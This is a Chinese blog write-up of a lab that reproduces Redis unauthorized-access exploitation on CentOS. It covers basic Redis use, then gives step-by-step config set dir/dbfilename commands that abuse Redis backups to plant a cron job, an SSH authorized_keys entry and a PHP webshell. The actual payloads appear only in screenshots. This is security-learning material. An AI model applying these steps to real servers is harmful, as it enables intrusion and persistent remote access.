centos super键是哪个_实验|CentOs下Redis漏洞利用方式复现

73a72c1930ddea28bbc143f2a19ad37a.png

0x00 前言

国庆前的那篇文章我搭建好了redis的测试环境。 这篇文章介绍一下redis基本使用方法。 然后复现一下通过redis拿权限的一些常用利用方式。

0x01 连接方式

(1)在命令行下使用telnet连接redis telnet是一个基本的远程登陆命令,在linux和windows下的安装方式都很简单,这里就不再赘述了。 > telnet  redis-server的ip地址  端口 683ffd4aaf72e1efb1d22dcaef9b20b1.png 连接成功后页面会变空白 85ec3633b9dc89d851ce2e0c5af9ad89.png 要注意连接后第一次输入的命令没有回显(类似linux输入密码),输完直接回车就行了。 输入 info 命令查看基本信息 ba5d499b070ce8c22b151d25856b262d.png quit 命令断开连接 deade87f6ed59f9ad56cdac47f713bea.png 有密码的情况下连接后用   > auth 密码 命令进行登陆,否则无权限执行其他命令。 ping 命令在redis中用于检测连接是否成功,若成功redis-server会返回PONG。 3156974d128ab40fc43637ca6733676e.png (2)在命令行下使用redis-cli连接redis linux下安装redis就会有redis-cli。 2c979783d62c168958500036a22e3989.png windows可以在这里下载: https://github.com/microsoftarchive/redis/releases 2408f2a4af6e6f20901219c7634ddd27.png 下载.zip解压后里面有redis-cli.exe e18c7dfeecefd57ea3ace0965a2c3260.png 首先cd到redis-cli所在目录,输入以下命令连接 (cmd) redis-cli.exe   -h   redis-server的ip地址  -p  端口 29d7c04e7cec54306e7351f2367f08d3.png redis-cli和telnet的区别是用tab键可以进行命令补全,交互性更佳 f0c5a390a69babcf4ac8277b44545d47.png 有密码的情况下需要在连接后使用 > auth 密码 命令登陆,否则无权限执行其他命令 03b892227a2959beb5511cc494c0472a.png 或者直接在连接时用 -a 参数指定密码(出于安全性考虑不推荐这么做) 72d73abdb0657b6161b7f90f0e287f7d.png (3)使用图形化工具AnotherRedisDesktopManager连接 下载地址https://github.com/qishibo/AnotherRedisDesktopManager/releases 使用方法略

0x02 redis常用命令

(1)配置相关 查看所有配置 > config get  * b655a4106101c8be7449ce4bc7825250.png 查看某个配置 > config get  配置名 aab63554a654393d661b0a52145042b6.png 修改配置 > config set  配置名 新的配置值 6ec64612566c22a256547276ae7b3f47.png 一些需要注意的配置 dbfilename (备份文件名) dir (备份文件存放路径) rdbcompression (备份时是否压缩数据) save (自动备份相关配置) requirepass(redis登陆密码) masterauth(主节点密码) slaveof (主节点位置) protected-mode (安全模式) (2)Key相关 redis存储数据的方式是key-value,key可以理解为变量,value就是变量的值,redis可以存储很多个key。 redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。因为不是本文重点,这里我只演示最简单的string类型相关操作命令。 创建key > set  key名 key值 查看key值 > get  key名 删除key > del  key名 查找key > KEYS  匹配模式 清空所有数据 > flushall ea9f59976d5924bcc56aa5e293ed9617.png (3)数据库相关 redis有0-15号共16个数据库(可以在配置文件中修改数量),每次连接后默认使用0号数据库 切换数据库 > select 索引[0-15] cd5c3ea507dc5fc69d222e06553f3971.png 查看当前库中key的数量 > dbsize c841ef116371420a05037569e6b274bd.png 使用 info 命令可以看到每个库中key的数量 8bc5b95c64f480f119b1d5613f364e1b.png 生产环境下使用 keys * 命令前最好先看一下数量,否则key太多全部读到内存中很可能导致服务直接挂掉。 flushall 命令会清空所有库中的内容,不管你当前在哪个库。 如果只是要清空当前库,请使用 flushdb (4)备份相关 redis是内存型数据库,服务重启后所有数据就会丢失,redis 最初设计的目的就不 是用于持久性的数据存储。 但实际环境下有时需要进行redis数据的持久化,于是redis提供了【数据备份和恢复功能】,也就是这个功能成为了漏洞利用的切入点。 redis中本来有一些数据 211766e64ae7856310fae915bed5a3ea.png 在centos上用# ps aux 命令查看redis进程号 c0f0d410c5413d51bb829fd044b1ce72.png 然后kill掉,再重新启动 52f1320e1c8cc43cd5dc81f9d3e69b18.png 重新连接发现数据都不见了 343f521769276c81a53b08bfa6e8919f.png 重新创建一些数据 be93abf2ee7b9243ba11b1b990458d94.png 查看配置中备份文件位置和文件名 aaf14097bca9003493ba7d85420dbb6e.png 输入命令 save ,即可看到文件已备份 d1707c48d176b9ab2281344e9acf61fd.png 再次重启后发现数据没有丢失(redis重启后会自动读取配置文件中dir路径下的dbfilename指定的文件进行恢复) 34a1591942850d57c862cfbf8fef3a0f.png 配置文件: 807557abbf4b95fe053186e822ca2439.png

0x03 备份文件内容的研究

清空数据库后备份 70026c2cea20cf78ef4f3a6daaeb2726.png 备份文件的内容(二进制文件需用 xxd 命令查看),可见备份文件除了会写入数据,还会写入一些其他内容,利用的时候需考虑到这一点 2d8035612e7adab48b3913f0331411c1.png 尝试备份php代码,发现key和value都可以成功写入,key在前value在后 b8b8e396796c71ee9882372f5d888c55.png 7c870a06d80aa3d44380a05d05d44839.png 尝试备份超长重复字符串,发现key和value都会被压缩,同时发现备份文件是覆盖写入的(之前的备份内容不见了) 225d0a0a689b62f11ffc5b3e8c87b9b9.png 6f53dbd5801c56a5d3dd73b8aedb2e3e.png 调整配置rdbcompression改为no,再次备份发现数据可以完整写入 33a4d14acc2700e348e4db4c158de242.png 5cc1cdac846b019a2c2c9c63b131efa1.png 切换数据库后备份,发现备份的是所有库中的内容 ad17a89121dced9e78766be37d2329ac.png b89b09942148ac8239f3bde2d2a985f9.png 【结论】 1、备份会写入数据之外的内容,利用时需要被写文件有一定容错性。 2、需要关注一下备份的顺序(按key的字符顺序排列),比如之前如果人已经利用过写了webshell,而你的key备份在他后面,可能会导致你的webshell不生效。 3、备份前最好关闭压缩功能使数据可以完整写入。 4、暂未发现如何使redis备份单个库,通过切换库避免写入其他数据的方法不可行。

0x04 利用方式1:写计划任务

记录等下需要修改的配置项的值以便事后恢复(之后的其他利用方式皆如此) config get  dir config get dbfilename 设置路径和文件名 config set dir /var/spool/cron/ config set dbfilename 用户名 新建一个key,值为需要执行的计划任务,注意前后都要加回车符号 set   key名 需要执行的计划任务内容 保存 save b28ac29eaa32675806b4b9fbbdff16d1.png 可以看到计划任务被成功写入 43d16abe5190070b8ebc6304993b1048.png # cat /var/log/cron 查看日志看到计划任务成功执行(ip地址写错了,不要在意那些细节,能成功执行就行。。。) 0a9323272cffd6582e5e05eca217483e.png

0x05 利用方式2:写ssh公钥

windows和linux下创建ssh公私钥的方式不同,因为不是本文重点所以这里只记录windows下的操作。 cmd下输入命令 ssh-keygen ,然后会提示选择位置、输入密码,全部回车就行了,会在默认位置下生成无需密码的ssh公私钥对。 14bb26e0ac3723f5f638202c5af86ae1.png 默认位置为C:\Users\你的用户名\.ssh id_rsa 是私钥,自己保存好不要给任何人 id_rsa.pub 是公钥,是我们需要写到目标机器上的 fa1efae2cc8247c0310b4d434d0bb02d.png 用文本编辑器打开id_rsa.pub,删除最后面的用户名信息(灰色部分),然后复制下所有的内容 6b957da8c0a96612983d2a4688eb7b93.png 设置目录时出错,debug发现centos上没有.ssh文件夹,redis只能写文件但是不能创建目录,所以这种情况下写公钥这种方法不可用 353ce393afb60a5620bcaf06da030e72.png 但我们的测试环境下可以手动给它生成一个.ssh目录,实际环境中大多数服务器上也是有此目录的。 fa18c59e1fe0887cb4305262c9b1e16b.png 然后设置路径和文件名 > config set   dir  /用户家目录/.ssh/ > config set   dbfilename  “authorized_keys” c644c6977a3c6a33fb57dbba8a1223f9.png 创建key,写入公钥内容(注意前后各加三个回车符\n) 22111bae04058053a5a0dfeaf0891865.png save 后发现成功写入(之前写计划任务的payload忘了删也写进去了,不要在意。。。) 98f633c5e7eda79b7750833ad44d9aa8.png 之后发现ssh连接不用输入密码即可登陆 3c67c6049119ee470eddd873cc5348d4.png

0x06 利用方式3:写webshell

设置路径和文件名以及webshell的内容,然后 save ,已经很熟练了 4ee64b55d204918654354d9609d7bddc.png 查看webshell内容,至于为什么要在payload前后加回车是为了避免可能出现的吞字符现象 15e9aa88cd008d644fe49bf3a0238b90.png 用 hackbar测试执行命令成功 0f9fc6fdc43b75a8a3fefd4f3027269d.png

0x07 后记

这周文章对redis如何使用以及一些常用的利用方式做了介绍和演示。 三种利用方式: 写计划任务,写ssh公钥,写webshell都可以获得运行redis的用户权限。具体使用哪一种要根据实际环境来选择。 不过其实我高估了自己的产出能力,已知的redis利用方式不止这些,受限于个人时间精力问题没能全部写出来。 不想给自己挖坑了,下周如果还写redis,我会补充剩下的利用方式,然后可能测试一下redis内已有大量数据的情况下利用方式是否可行。 不过也可能弃坑,写点别的东西,到底写什么只有下周的我才知道啦。毕竟干这一行的,看到什么都要学。 0504da5585c11bd1397595e146984634.png

0x08 参考文献

https://www.runoob.com/redis/ https://www.freebuf.com/vuls/148758.html https://zhuanlan.zhihu.com/p/36529010 https://www.jianshu.com/p/2790a860f151 https://blog.csdn.net/dreams_deng/article/details/78968416

END.


欢迎留言~

欢迎关注~

欢迎点赞~

19d32566751ba86bb14bd651b229d32d.png

我是小黑,喵~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值